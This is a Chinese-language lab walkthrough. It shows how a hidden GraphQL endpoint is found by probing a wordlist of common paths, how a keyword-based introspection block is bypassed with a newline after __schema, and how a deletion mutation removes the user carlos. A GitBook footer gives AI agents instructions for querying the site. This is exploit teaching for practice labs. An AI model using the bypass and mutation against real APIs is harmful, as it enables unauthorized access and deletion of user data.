> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/graphql/graphql-cached-endpoint-discovery.md).

# GraphQL 缓存端点发现

### 查找隐藏的 GraphQL 端点

**实验背景**

本实验室的用户管理功能基于一个 GraphQL **隐藏的** 端点。/ 仅通过浏览该网站无法发现这一点，而且 **PlotQL** 已部署了防御机制。

**目标：**

* 识别隐藏的 GraphQL 端点
* 删除用户 **carlos**

<figure><img src="/files/2ba2bcce19d6d7013511caee20c830a9721f07d5" alt=""><figcaption></figcaption></figure>

**初始侦察**

通过正常浏览应用程序，没有任何可见线索表明使用了 GraphQL。/ 因此有必要手动测试最常见的 GraphQL 路径。

**测试常见的 GraphQL 路由**

测试以下路由

```bash
/graphql
/graphiql
/v1/graphql
/v2/graphql
/v3/graphql
/v1/graphiql
/v2/graphiql
/v3/graphiql
/playground
/v1/playground
/v2/playground
/v3/playground
/api/v1/playground
/api/v2/playground
/api/v3/playground
/console
/api/graphql
/api/graphiql
/explorer
/api/v1/graphql
/api/v2/graphql
/api/v3/graphql
/api/v1/graphiql
/api/v2/graphiql
/api/v3/graphiql
```

该路由 **`/api`** 返回以下消息：

```bash
"未提供查询"
```

这清楚地表明存在一个活动的 GraphQL 端点。

<figure><img src="/files/4843e71717626a51e15035c7d0a6e47dda0bab58" alt=""><figcaption></figcaption></figure>

**验证内省过滤**

通过 URL 发送一个简单的内省请求：

```bash
api?query={__schema{types{name}}}
```

服务器响应：

`不允许 GraphQL 内省，但查询中包含 __schema 或 __type`

<figure><img src="/files/1f301d557ec302b06f8e50dd10f7d3c88bb84cc2" alt=""><figcaption></figcaption></figure>

通过 Burp 或 GraphiQL 发送完整的内省请求时也会发生同样的拦截。

{% code overflow="wrap" %}

```bash
query IntrospectionQuery {
    __schema {
        queryType {
            name
        }
        mutationType {
            name
        }
        subscriptionType {
            name
        }
        types {
            ...FullType
        }
        directives {
            name
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
        name
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    name
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    name
    ofType {
        kind
        name
        ofType {
            kind
            name
            ofType {
                kind
                name
            }
        }
    }
}
```

{% endcode %}

<figure><img src="/files/2c23b678e089d485392e2d5ab9f740e514c67653" alt=""><figcaption></figcaption></figure>

**绕过内省拦截**

为了绕过基于关键字的过滤 `__schema` 和 `__type`，在 **换行** 在左花括号前添加：

```graphql
__schema
     {
```

这一细微修改使请求能够被服务器接受并处理。

<figure><img src="/files/90fe6db89ee6291b37502eb9904aeb635e4e90f3" alt=""><figcaption></figcaption></figure>

**GraphQL 图的分析**

一旦内省被接受，发现的请求会被发送到 **站点地图** 以便更容易分析。

<figure><img src="/files/e1276ecf1e82bd26bfd9e8fec847eb1747699103" alt=""><figcaption></figcaption></figure>

识别出两个重要请求。

<figure><img src="/files/4832f2c26fc7dfb88767e96049b67b7a215d3e64" alt=""><figcaption></figcaption></figure>

**通过 ID 获取用户**

通过其标识符获取用户名的请求：

```graphql
query($id: Int!) {
  getUser(id: $id) {
    id
    username
  }
}
```

通过提供以下 ID：

```json
{
    "id":3
}
```

已识别出 ID 为 **3** 对应于 **carlos**.

<figure><img src="/files/7bec4340416ac6549fdb18420ca53d1e30cf8bf3" alt=""><figcaption></figcaption></figure>

**删除 carlos 用户**

该变更会将用户从组织中移除：

```graphql
mutation($input: DeleteOrganizationUserInput) {
  deleteOrganizationUser(input: $input) {
    user {
      id
      username
    }
  }
}
```

使用的载荷：

```graphql
{
  "input": {
    "id": 3
  }
}
```

用户 **carlos** 随后被成功删除。

<figure><img src="/files/d3fe3d22167ac5ccd2a51b8fa2cb301d0c4f793f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/graphql/graphql-cached-endpoint-discovery.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
